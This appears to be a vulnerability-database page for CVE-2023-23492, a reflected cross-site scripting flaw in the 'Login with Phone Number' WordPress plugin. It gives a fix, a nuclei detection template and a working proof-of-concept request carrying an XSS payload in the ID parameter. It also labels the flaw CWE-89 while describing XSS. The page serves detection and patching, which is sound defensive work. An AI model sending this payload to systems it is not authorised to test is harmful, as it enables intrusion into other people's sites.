HexBrain

Browse / CVEs / CVE-2023-23492

CVE-2023-23492· idehweb / login with phone number· CWE-89

Login with Phone Number - Cross-Site Scripting

highseverity
8.8CVSS score
57.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Login with Phone Number, versions < 1.4.2, is affected by an reflected XSS vulnerability in the login-with-phonenumber.php' file in the 'lwp_forgot_password()' function.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the theft of sensitive user information or unauthorized actions.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=<svg%20onload=alert(document.domain)>
Positive when: contains "<svg onload=alert(document.domain)>" and "message\":\"Update password" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-23492 -u <target>

The full check
id: CVE-2023-23492

info:
  name: Login with Phone Number - Cross-Site Scripting
  author: r3Y3r53
  severity: high
  description: |
    Login with Phone Number, versions < 1.4.2, is affected by an reflected XSS vulnerability in the login-with-phonenumber.php' file in the 'lwp_forgot_password()' function.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the application, leading to the theft of sensitive user information or unauthorized actions.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://wordpress.org/plugins/login-with-phone-number/
    - https://www.tenable.com/security/research/tra-2023-3
    - https://nvd.nist.gov/vuln/detail/CVE-2023-23492
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-23492
    cwe-id: CWE-89
    epss-score: 0.57123
    epss-percentile: 0.99077
    cpe: cpe:2.3:a:idehweb:login_with_phone_number:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: idehweb
    product: login_with_phone_number
    framework: wordpress
  tags: cve2023,cve,login-with-phonenumber,wordpress,wp,wp-plugin,xss,tenable,idehweb,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=lwp_forgot_password&ID=<svg%20onload=alert(document.domain)>"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<svg onload=alert(document.domain)>'
          - 'message":"Update password'
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from